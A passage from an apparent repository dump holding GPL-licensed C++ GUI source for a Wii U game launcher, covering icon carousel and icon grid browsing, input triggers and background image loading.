5){\n\t\tint sel = getSelectedGame() + 5;\n\t\tif(sel >= (int)GameList::instance()->size())\n\t\t\tsel -= (int)GameList::instance()->size();\n\n\t\tsetSelectedGame(sel);\n\t\tgameSelectionChanged(this, sel);\n\t}\n}\n\nvoid GuiIconCarousel::OnRightSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n\tif((int)GameList::instance()->size() > 5){\n\t\tint sel = getSelectedGame() - 5;\n\t\tif(sel < 0 && (GameList::instance()->size() > 5))\n\t\t\tsel += GameList::instance()->size();\n\n\t\tsetSelectedGame(sel);\n\t\tgameSelectionChanged(this, sel);\n\t}\n}\n\nvoid GuiIconCarousel::updateDrawMap(void)\n{\n    //! create a multimap of Z position which will sort the items by z coordinate\n    std::multimap< float, std::pair<float, int> > drawMap;\n    std::multimap< float, std::pair<float, int> >::const_iterator itr;\n    size_t i;\n\n    for(i = 0; i < gameIcons.size(); i++)\n    {\n        int idx = i;\n\n        float currDegree = DegToRad(360.0f / (radiusScale * gameIcons.size()) * i + circlePosition + 90.0f);\n        float posX = radiusScale * circleRadius * cosf(currDegree);\n        float posZ = radiusScale * circleRadius * sinf(currDegree) + RADIUS - gameIcons.size() * (RADIUS / 12.0f);\n        drawMap.insert(std::pair<float, std::pair<float, int> >(posZ, std::pair<float, int>(posX, i)));\n\n        float rgbReduction = std::min((circleRadius + posZ / 2.0f + fIconRgbDrop) / (2.0f * circleRadius), 1.0f);\n        if(rgbReduction < 0.0f)\n            rgbReduction = 0.0f;\n\n        float alphaReduction = std::min((circleRadius + posZ + fOpacy * (circleRadius * 2.0f)) / (2.0f * circleRadius), 1.0f);\n        if(alphaReduction < 0.0f)\n            alphaReduction = 0.0f;\n\n        gameIcons[idx]->setColorIntensity(glm::vec4(rgbReduction, rgbReduction, rgbReduction, 1.0f));\n        gameIcons[idx]->setAlpha(alphaReduction);\n        gameIcons[idx]->setRenderReflection(true);\n        gameIcons[idx]->setRotationX(-cam_X_rot);\n        gameIcons[idx]->setPosition(posX * width * 0.5f, Yoffset * height * 0.5f, posZ * width * 0.5f);\n    }\n\n    for(itr = drawMap.begin(), i = 0; itr != drawMap.end(); i++, itr++)\n    {\n        int idx = itr->second.second;\n\n        itr++;\n        bool bSelected = (itr == drawMap.end());\n        itr--;\n\n        if(!bSelected)\n        {\n            float rgbReduction = 0.8f;\n            glm::vec4 intensity = gameIcons[idx]->getColorIntensity();\n            gameIcons[idx]->setColorIntensity(glm::vec4(rgbReduction * intensity[0], rgbReduction * intensity[1], rgbReduction * intensity[2], intensity[3]));\n        }\n        else\n        {\n            gameTitle.setText(GameList::instance()->at(idx)->name.c_str());\n\n            if(selectedGame != idx || !bgUsedImageDataAsync)\n            {\n                selectedGame = idx;\n                std::string filepath = GameList::instance()->at(idx)->gamepath + META_PATH + \"/bootTvTex.tga\";\n\n                //! remove image that is possibly still loading\n                //! TODO: fix (state != STATE_DISABLED) its a cheap trick to make the thread not create new images when fading out because it causes issues\n                //! TODO: this is probably not needed anymore -> verify\n                if(bgNewImageDataAsync && !isStateSet(STATE_DISABLED))\n                {\n                    GuiImageAsync::removeFromQueue(bgNewImageDataAsync);\n                    AsyncDeleter::pushForDelete(bgNewImageDataAsync);\n                    bgNewImageDataAsync = new GameBgImage(filepath, NULL);\n                }\n                else\n                {\n                    delete bgNewImageDataAsync;\n                    bgNewImageDataAsync = new GameBgImage(filepath, NULL);\n                }\n\n            }\n            glm::vec4 intensity = gameIcons[idx]->getColorIntensity();\n            gameIcons[idx]->setColorIntensity(glm::vec4(intensity[0], intensity[1], intensity[2], 1.2f * intensity[3]));\n        }\n\n        drawOrder[i] = idx;\n        gameIcons[idx]->setSelected(bSelected);\n    }\n}\n\nvoid GuiIconCarousel::draw(CVideo *pVideo, const glm::mat4 & modelView)\n{\n    if(!this->isVisible())\n        return;\n\n    if(bUpdateMap)\n    {\n        bUpdateMap = false;\n        updateDrawMap();\n    }\n\n    if(bgNewImageDataAsync && bgNewImageDataAsync->getImageData() && !bgFadingImageDataAsync)\n    {\n        if(bgUsedImageDataAsync)\n        {\n            bgFadingImageDataAsync = bgUsedImageDataAsync;\n            bgFadingImageDataAsync->setEffect(EFFECT_FADE, -10, 0);\n            bgFadingImageDataAsync->effectFinished.connect(this, &GuiIconCarousel::OnBgEffectFinished);\n        }\n\n        bgUsedImageDataAsync = bgNewImageDataAsync;\n        bgNewImageDataAsync = NULL;\n        bgUsedImageDataAsync->setEffect(EFFECT_FADE, 5, 255);\n        append(bgUsedImageDataAsync);\n    }\n\n    pVideo->setStencilRender(true);\n\n    if(bgUsedImageDataAsync)\n        bgUsedImageDataAsync->draw(pVideo);\n    if(bgFadingImageDataAsync)\n        bgFadingImageDataAsync->draw(pVideo);\n\n    bgGrid.draw(pVideo, modelView);\n\n    pVideo->setStencilRender(false);\n\n    for(size_t i = 0; i < drawOrder.size(); ++i)\n    {\n        size_t idx = drawOrder[i];\n        gameIcons[idx]->draw(pVideo, pVideo->getProjectionMtx(), pVideo->getViewMtx(), modelView);\n    }\n\n    gameTitle.draw(pVideo);\n\n    if(touchClickDelay)\n    {\n        touchClickDelay--;\n    }\n\n    gameLaunchTimer++;\n}\n\nvoid GuiIconCarousel::updateEffects()\n{\n    if((circlePosition - 0.5f) > circleTargetPosition)\n    {\n        if(startRotationDistance == 0.0f)\n            startRotationDistance = fabsf(circleTargetPosition - circlePosition);\n\n        circlePosition -= circleRotationSpeed;\n\n        f32 angleDistance = fabsf(circleTargetPosition - circlePosition);\n        circleRotationSpeed = 8.0f * angleDistance / startRotationDistance;\n\n        if(circleRotationSpeed > circleSpeedLimit)\n            circleRotationSpeed = circleSpeedLimit;\n\n        if(angleDistance < circleRotationSpeed)\n            circlePosition = circleTargetPosition;\n\n        bUpdateMap = true;\n    }\n    else if((circlePosition + 0.5f) < circleTargetPosition)\n    {\n        if(startRotationDistance == 0.0f)\n            startRotationDistance = fabsf(circleTargetPosition - circlePosition);\n\n        circlePosition += circleRotationSpeed;\n\n        f32 angleDistance = fabsf(circleTargetPosition - circlePosition);\n        circleRotationSpeed = 8.0f * angleDistance / startRotationDistance;\n\n        if(circleRotationSpeed > circleSpeedLimit)\n            circleRotationSpeed = circleSpeedLimit;\n\n        if(angleDistance < circleRotationSpeed)\n            circlePosition = circleTargetPosition;\n\n        bUpdateMap = true;\n    }\n    else\n    {\n        startRotationDistance = 0.0f;\n    }\n\n    GuiGameBrowser::updateEffects();\n}\n"
  },
  {
    "path": "src/gui/GuiIconCarousel.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _GUI_ICON_CAROUSEL_H_\n#define _GUI_ICON_CAROUSEL_H_\n\n#include <map>\n#include \"GuiFrame.h\"\n#include \"GuiButton.h\"\n#include \"GuiGameBrowser.h\"\n#include \"GameIcon.h\"\n#include \"GameBgImage.h\"\n#include \"GridBackground.h\"\n\nclass GuiIconCarousel : public GuiGameBrowser, public sigslot::has_slots<>\n{\npublic:\n    GuiIconCarousel(int w, int h, int GameIndex);\n    virtual ~GuiIconCarousel();\n\n    void setSelectedGame(int idx);\n    int getSelectedGame(void);\n\n    void draw(CVideo *pVideo)\n    {\n        draw(pVideo, m_modelView);\n    }\n\n    void draw(CVideo *pVideo, const glm::mat4 & modelView);\n\n    void updateEffects();\nprivate:\n    void OnTouchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnTouchHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnTouchRelease(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\tvoid OnLeftSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnRightSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void OnLaunchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {\n        gameLaunchClicked(this, getSelectedGame());\n    }\n\n    void OnBgEffectFinished(GuiElement *element);\n\n    void updateDrawMap(void);\n\n    bool bUpdateMap;\n\n    glm::mat4 m_modelView;\n\n    POINT lastPosition;\n    f32 circleRadius;\n    f32 circlePosition;\n    f32 circleTargetPosition;\n    f32 circleRotationSpeed;\n    f32 circleSpeedLimit;\n    f32 startRotationDistance;\n    f32 lastTouchDifference;\n\n    GuiSound *buttonClickSound;\n    GuiImageData bgGridData;\n    GridBackground bgGrid;\n\n    GuiImageData noIcon;\n\n    GameBgImage *bgUsedImageDataAsync;\n    GameBgImage *bgNewImageDataAsync;\n    GameBgImage *bgFadingImageDataAsync;\n\n    GuiText gameTitle;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n\n    GuiTrigger buttonATrigger;\n\tGuiTrigger buttonLTrigger;\n\tGuiTrigger buttonRTrigger;\n    GuiTrigger buttonLeftTrigger;\n    GuiTrigger buttonRightTrigger;\n\n    GuiButton touchButton;\n    GuiButton DPADButtons;\n\n    std::vector<GameIcon *> gameIcons;\n    std::vector<int> drawOrder;\n    int touchClickDelay;\n    int selectedGame;\n    int selectedGameOnDragStart;\n    bool bWasDragging;\n    u32 gameLaunchTimer;\n};\n\n#endif // _GUI_ICON_CAROUSEL_H_\n"
  },
  {
    "path": "src/gui/GuiIconGrid.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiIconGrid.h\"\n#include \"GuiController.h\"\n#include \"common/common.h\"\n#include \"Application.h\"\n#include \"video/CVideo.h\"\n#include \"game/GameList.h\"\n\nGuiIconGrid::GuiIconGrid(int w, int h, int GameIndex)\n    : GuiGameBrowser(w, h, GameIndex)\n    , buttonClickSound(Resources::GetSound(\"button_click.mp3\"))\n    , noIcon(Resources::GetFile(\"noGameIcon.png\"), Resources::GetFileSize(\"noGameIcon.png\"), GX2_TEX_CLAMP_MIRROR)\n    , emptyIcon(Resources::GetFile(\"iconEmpty.jpg\"), Resources::GetFileSize(\"iconEmpty.jpg\"), GX2_TEX_CLAMP_MIRROR)\n    , particleBgImage(w, h, 50)\n    , gameTitle((char*)NULL, 52, glm::vec4(1.0f))\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n    , leftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true)\n    , rightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true)\n    , downTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true)\n    , upTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true)\n    , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n    , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true)\n    , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true)\n    , leftButton(w, h)\n    , rightButton(w, h)\n    , downButton(w, h)\n    , upButton(w, h)\n    , launchButton(w, h)\n    , arrowRightImageData(Resources::GetImageData(\"rightArrow.png\"))\n    , arrowLeftImageData(Resources::GetImageData(\"leftArrow.png\"))\n    , arrowRightImage(arrowRightImageData)\n    , arrowLeftImage(arrowLeftImageData)\n    , arrowRightButton(arrowRightImage.getWidth(), arrowRightImage.getHeight())\n    , arrowLeftButton(arrowLeftImage.getWidth(), arrowLeftImage.getHeight())\n{\n    gameLaunchTimer = 0;\n    selectedGame = GameIndex;\n    listOffset = selectedGame / (MAX_COLS * MAX_ROWS);\n    targetLeftPosition = -listOffset * getWidth();\n    currentLeftPosition = targetLeftPosition;\n\n    particleBgImage.setParent(this);\n\n    leftButton.setTrigger(&leftTrigger);\n    leftButton.clicked.connect(this, &GuiIconGrid::OnLeftClick);\n    this->append(&leftButton);\n\n    rightButton.setTrigger(&rightTrigger);\n    rightButton.clicked.connect(this, &GuiIconGrid::OnRightClick);\n    this->append(&rightButton);\n\n    downButton.setTrigger(&downTrigger);\n    downButton.clicked.connect(this, &GuiIconGrid::OnDownClick);\n    this->append(&downButton);\n\n    upButton.setTrigger(&upTrigger);\n    upButton.clicked.connect(this, &GuiIconGrid::OnUpClick);\n    this->append(&upButton);\n\n    launchButton.setTrigger(&buttonATrigger);\n    launchButton.clicked.connect(this, &GuiIconGrid::OnLaunchClick);\n    this->append(&launchButton);\n\n    int maxPages = (GameList::instance()->size() + (MAX_COLS * MAX_ROWS - 1)) / (MAX_COLS * MAX_ROWS);\n\n    for(int idx = 0; idx < (maxPages * MAX_COLS * MAX_ROWS); idx++)\n    {\n        GameIcon *image = NULL;\n        if(idx < GameList::instance()->size())\n        {\n            std::string filepath = GameList::instance()->at(idx)->gamepath + META_PATH + \"/iconTex.tga\";\n            image = new GameIcon(filepath, &noIcon);\n        }\n        else\n        {\n            image = new GameIcon(\"\", &emptyIcon);\n        }\n\n        image->setRenderReflection(false);\n        image->setStrokeRender(false);\n        image->setSelected(idx == selectedGame);\n        image->setRenderIconLast(true);\n\n        GuiButton * button = new GuiButton(noIcon.getWidth(), noIcon.getHeight());\n        button->setImage(image);\n        button->setPosition(0, 0);\n        button->setEffectGrow();\n        button->setTrigger(&touchTrigger);\n        button->setTrigger(&wpadTouchTrigger);\n        button->setSoundClick(buttonClickSound);\n        button->setClickable( (idx < GameList::instance()->size()) );\n        button->setSelectable( (idx < GameList::instance()->size()) );\n        button->clicked.connect(this, &GuiIconGrid::OnGameButtonClick);\n        this->append(button);\n\n        gameButtons.push_back(button);\n        gameIcons.push_back(image);\n    }\n\n    updateButtonPositions();\n\n    if((MAX_ROWS * MAX_COLS) < GameList::instance()->size())\n    {\n        arrowLeftButton.setImage(&arrowLeftImage);\n        arrowLeftButton.setEffectGrow();\n        arrowLeftButton.setPosition(40, 0);\n        arrowLeftButton.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n        arrowLeftButton.setTrigger(&touchTrigger);\n        arrowLeftButton.setTrigger(&wpadTouchTrigger);\n        arrowLeftButton.setTrigger(&buttonLTrigger);\n        arrowLeftButton.setSoundClick(buttonClickSound);\n        arrowLeftButton.clicked.connect(this, &GuiIconGrid::OnLeftArrowClick);\n        if(listOffset > 0)\n            append(&arrowLeftButton);\n\n        arrowRightButton.setImage(&arrowRightImage);\n        arrowRightButton.setEffectGrow();\n        arrowRightButton.setPosition(-40, 0);\n        arrowRightButton.setAlignment(ALIGN_RIGHT | ALIGN_MIDDLE);\n        arrowRightButton.setTrigger(&touchTrigger);\n        arrowRightButton.setTrigger(&wpadTouchTrigger);\n        arrowRightButton.setTrigger(&buttonRTrigger);\n        arrowRightButton.setSoundClick(buttonClickSound);\n        arrowRightButton.clicked.connect(this, &GuiIconGrid::OnRightArrowClick);\n        if(listOffset < (maxPages-1))\n            append(&arrowRightButton);\n    }\n\n    gameTitle.setPosition(0, -320);\n    gameTitle.setBlurGlowColor(5.0f, glm::vec4(0.109804, 0.6549, 1.0f, 1.0f));\n    gameTitle.setMaxWidth(900, GuiText::DOTTED);\n    gameTitle.setText((GameList::instance()->size() > selectedGame) ? GameList::instance()->at(selectedGame)->name.c_str() : \"\");\n    append(&gameTitle);\n}\n\nGuiIconGrid::~GuiIconGrid()\n{\n    for(u32 i = 0; i < gameButtons.size(); i++)\n    {\n        delete gameIcons[i];\n        delete gameButtons[i];\n    }\n\n    Resources::RemoveImageData(arrowRightImageData);\n    Resources::RemoveImageData(arrowLeftImageData);\n    Resources::RemoveSound(buttonClickSound);\n}\n\nvoid GuiIconGrid::setSelectedGame(int idx)\n{\n    for(u32 i = 0; i < (u32)GameList::instance()->size(); i++)\n    {\n        if(i == (u32)idx)\n        {\n            selectedGame = idx;\n\n            gameTitle.setText(GameList::instance()->at(selectedGame)->name.c_str());\n\n            while(selectedGame > listOffset * MAX_COLS * MAX_ROWS)\n                listOffset++;\n\n            while(selectedGame < listOffset * MAX_COLS * MAX_ROWS)\n                listOffset--;\n\n            targetLeftPosition = -listOffset * getWidth();\n\n            int maxPages = (GameList::instance()->size() + (MAX_COLS * MAX_ROWS - 1)) / (MAX_COLS * MAX_ROWS);\n            if(listOffset == 0)\n            {\n                append(&arrowRightButton);\n                remove(&arrowLeftButton);\n            }\n            else if(listOffset >= (maxPages - 1))\n            {\n                append(&arrowLeftButton);\n                remove(&arrowRightButton);\n            }\n            else\n            {\n                append(&arrowLeftButton);\n                append(&arrowRightButton);\n            }\n        }\n\n        gameIcons[i]->setSelected((u32)idx == i);\n    }\n}\n\nint GuiIconGrid::getSelectedGame(void)\n{\n    return selectedGame;\n}\n\nvoid GuiIconGrid::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(listOffset > 0)\n    {\n        listOffset--;\n        targetLeftPosition = -listOffset * getWidth();\n\n        if(listOffset == 0)\n            remove(&arrowLeftButton);\n\n        int sel = getSelectedGame();\n        sel -= MAX_ROWS * MAX_COLS;\n        if(sel < 0)\n            sel = 0;\n\n        if(sel != getSelectedGame())\n        {\n            setSelectedGame(sel);\n            gameSelectionChanged(this, sel);\n        }\n    }\n\n    append(&arrowRightButton);\n}\n\nvoid GuiIconGrid::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    int maxPages = (GameList::instance()->size() + (MAX_COLS * MAX_ROWS - 1)) / (MAX_COLS * MAX_ROWS);\n\n    if(listOffset < (maxPages-1))\n    {\n        listOffset++;\n        targetLeftPosition = -listOffset * getWidth();\n\n        if(listOffset == (maxPages-1))\n            remove(&arrowRightButton);\n\n        int sel = getSelectedGame();\n        sel += MAX_ROWS * MAX_COLS;\n        if(sel > (GameList::instance()->size() - 1))\n            sel = (GameList::instance()->size() - 1);\n\n        if(sel != getSelectedGame())\n        {\n            setSelectedGame(sel);\n            gameSelectionChanged(this, sel);\n        }\n    }\n\n    append(&arrowLeftButton);\n}\n\nvoid GuiIconGrid::OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    int sel = getSelectedGame();\n    int col = sel % MAX_COLS;\n\n    if(col == 0 && listOffset > 0)\n    {\n        listOffset--;\n        targetLeftPosition = -listOffset * getWidth();\n        sel += MAX_COLS - 1 - MAX_ROWS * MAX_COLS;\n\n        if(listOffset == 0)\n            remove(&arrowLeftButton);\n        append(&arrowRightButton);\n    }\n    else if(col > 0)\n    {\n        sel--;\n    }\n\n    if(sel != getSelectedGame())\n    {\n        setSelectedGame(sel);\n        gameSelectionChanged(this, sel);\n    }\n}\n\nvoid GuiIconGrid::OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    int sel = getSelectedGame();\n    int col = sel % MAX_COLS;\n    int page = listOffset + 1;\n\n    if(col == (MAX_COLS - 1))\n    {\n        int maxPages = (GameList::instance()->size() + (MAX_COLS * MAX_ROWS - 1)) / (MAX_COLS * MAX_ROWS);\n\n        if(((sel + MAX_ROWS * MAX_COLS - MAX_COLS + 1) < GameList::instance()->size()) || (listOffset < (maxPages-1)))\n        {\n            listOffset++;\n            targetLeftPosition = -listOffset * getWidth();\n            sel += MAX_ROWS * MAX_COLS - MAX_COLS + 1;\n\n            if(listOffset < (maxPages-1))\n                remove(&arrowRightButton);\n            append(&arrowLeftButton);\n        }\n    }\n    else if((sel + 1) < GameList::instance()->size())\n    {\n        sel++;\n    }\n\n    if(sel > (GameList::instance()->size() - 1))\n    {\n        int m = (((GameList::instance()->size() % (MAX_ROWS * MAX_COLS)) % MAX_COLS) == 0) ? 0 : 1;\n        sel = page * MAX_ROWS * MAX_COLS + ((GameList::instance()->size() % (MAX_ROWS * MAX_COLS)) / MAX_COLS + m - 1) * MAX_COLS;\n    }\n\n    if(sel != getSelectedGame())\n    {\n        setSelectedGame(sel);\n        gameSelectionChanged(this, sel);\n    }\n}\n\nvoid GuiIconGrid::OnDownClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    int sel = getSelectedGame();\n    int row = (sel % (MAX_ROWS * MAX_COLS)) / MAX_COLS;\n\n    if(row < (MAX_ROWS - 1) && (sel + MAX_COLS) < (GameList::instance()->size()))\n    {\n        sel += MAX_COLS;\n    }\n\n    if(sel != getSelectedGame())\n    {\n        setSelectedGame(sel);\n        gameSelectionChanged(this, sel);\n    }\n}\nvoid GuiIconGrid::OnUpClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    int sel = getSelectedGame();\n    int row = (sel % (MAX_ROWS * MAX_COLS)) / MAX_COLS;\n\n    if(row > 0)\n    {\n        sel -= MAX_COLS;\n    }\n\n    if(sel < 0)\n        sel = 0;\n\n    if(sel != getSelectedGame())\n    {\n        setSelectedGame(sel);\n        gameSelectionChanged(this, sel);\n    }\n}\n\nvoid GuiIconGrid::OnLaunchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    //! do not auto launch when wiimote is pointing to screen and presses A\n    if((trigger == &buttonATrigger) && (controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n    {\n        return;\n    }\n    gameLaunchClicked(this, getSelectedGame());\n}\n\nvoid GuiIconGrid::OnGameButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    for(u32 i = 0; i < gameButtons.size(); ++i)\n    {\n        if(gameButtons[i] == button && ((int)i < GameList::instance()->size()))\n        {\n            if(selectedGame == (int)i)\n            {\n                if(gameLaunchTimer < 30)\n                    OnLaunchClick(button, controller, trigger);\n            }\n            else\n            {\n                setSelectedGame(i);\n                gameSelectionChanged(this, selectedGame);\n            }\n            gameLaunchTimer = 0;\n            break;\n        }\n    }\n}\n\nvoid GuiIconGrid::updateButtonPositions()\n{\n    int col = 0, row = 0, listOff = 0;\n\n    for(u32 i = 0; i < gameButtons.size(); i++)\n    {\n        listOff = i / (MAX_COLS * MAX_ROWS);\n\n        float posX = currentLeftPosition + listOff * width + ( col * (noIcon.getWidth() + noIcon.getWidth() * 0.5f) - (MAX_COLS * 0.5f - 0.5f) * (noIcon.getWidth() + noIcon.getWidth() * 0.5f) );\n        float posY = -row * (noIcon.getHeight() + noIcon.getHeight() * 0.5f) + (MAX_ROWS * 0.5f - 0.5f) * (noIcon.getHeight() + noIcon.getHeight() * 0.5f) + 30.0f;\n\n        gameButtons[i]->setPosition(posX, posY);\n\n        col++;\n        if(col >= MAX_COLS)\n        {\n            col = 0;\n            row++;\n        }\n        if(row >= MAX_ROWS)\n            row = 0;\n    }\n}\n\nvoid GuiIconGrid::update(GuiController * c)\n{\n    GuiFrame::update(c);\n}\n\nvoid GuiIconGrid::draw(CVideo *pVideo)\n{\n    bool bUpdatePositions = false;\n\n    if(currentLeftPosition < targetLeftPosition)\n    {\n        currentLeftPosition += 35;\n\n        if(currentLeftPosition > targetLeftPosition)\n            currentLeftPosition = targetLeftPosition;\n\n        bUpdatePositions = true;\n    }\n    else if(currentLeftPosition > targetLeftPosition)\n    {\n        currentLeftPosition -= 35;\n\n        if(currentLeftPosition < targetLeftPosition)\n            currentLeftPosition = targetLeftPosition;\n\n        bUpdatePositions = true;\n    }\n\n    if(bUpdatePositions)\n    {\n        bUpdatePositions = false;\n        updateButtonPositions();\n    }\n\n\n    //! the BG needs to be rendered to stencil\n    pVideo->setStencilRender(true);\n    particleBgImage.draw(pVideo);\n    pVideo->setStencilRender(false);\n\n    GuiFrame::draw(pVideo);\n\n    gameLaunchTimer++;\n}\n"
  },
  {
    "path": "src/gui/GuiIconGrid.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _GUI_ICON_GRID_H_\n#define _GUI_ICON_GRID_H_\n\n#include <map>\n#include \"GuiFrame.h\"\n#include \"GuiButton.h\"\n#include \"GameIcon.h\"\n#include \"GuiGameBrowser.h\"\n#include \"GameBgImage.h\"\n#include \"GridBackground.h\"\n#include \"GuiParticleImage.h\"\n#include \"GuiText.h\"\n\nclass GuiIconGrid : public GuiGameBrowser, public sigslot::has_slots<>\n{\npublic:\n    GuiIconGrid(int w, int h, int GameIndex);\n    virtual ~GuiIconGrid();\n\n    void setSelectedGame(int idx);\n    int getSelectedGame(void);\n\n    void update(GuiController * t);\n    void draw(CVideo *pVideo);\nprivate:\n    void OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnGameButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnDownClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnUpClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void OnLaunchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void updateButtonPositions();\n\n    static const int MAX_ROWS = 3;\n    static const int MAX_COLS = 5;\n\n    GuiSound *buttonClickSound;\n    GuiImageData noIcon;\n    GuiImageData emptyIcon;\n\n    GuiParticleImage particleBgImage;\n\n    GuiText gameTitle;\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger leftTrigger;\n    GuiTrigger rightTrigger;\n    GuiTrigger downTrigger;\n    GuiTrigger upTrigger;\n    GuiTrigger buttonATrigger;\n    GuiTrigger buttonLTrigger;\n    GuiTrigger buttonRTrigger;\n    GuiButton leftButton;\n    GuiButton rightButton;\n    GuiButton downButton;\n    GuiButton upButton;\n    GuiButton launchButton;\n\n    GuiImageData* arrowRightImageData;\n    GuiImageData* arrowLeftImageData;\n    GuiImage arrowRightImage;\n    GuiImage arrowLeftImage;\n    GuiButton arrowRightButton;\n    GuiButton arrowLeftButton;\n\n    std::vector<GameIcon *> gameIcons;\n    std::vector<GuiButton *> gameButtons;\n    int listOffset;\n    int selectedGame;\n    int currentLeftPosition;\n    int targetLeftPosition;\n    u32 gameLaunchTimer;\n};\n\n#endif // _GUI_ICON_GRID_H_\n"
  },
  {
    "path": "src/gui/GuiImage.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiImage.h\"\n#include \"video/CVideo.h\"\n#include \"video/shaders/Texture2DShader.h\"\n#include \"video/shaders/ColorShader.h\"\n\nstatic const f32 fPiDiv180 = ((f32)M_PI / 180.0f);\n\nGuiImage::GuiImage(GuiImageData * img)\n{\n\tif(img && img->getTexture())\n\t{\n\t\twidth = img->getWidth();\n\t\theight = img->getHeight();\n\t}\n\n\tinternalInit(width, height);\n\timageData = img;\n}\n\nGuiImage::GuiImage(s32 w, s32 h, const GX2Color & c, s32 type)\n{\n\tinternalInit(w, h);\n\timgType = type;\n\tcolorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize;\n\n\tcolorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize);\n\tif(colorVtxs)\n    {\n        for(u32 i = 0; i < colorCount; i++)\n            setImageColor(c, i);\n    }\n}\n\nGuiImage::GuiImage(s32 w, s32 h, const 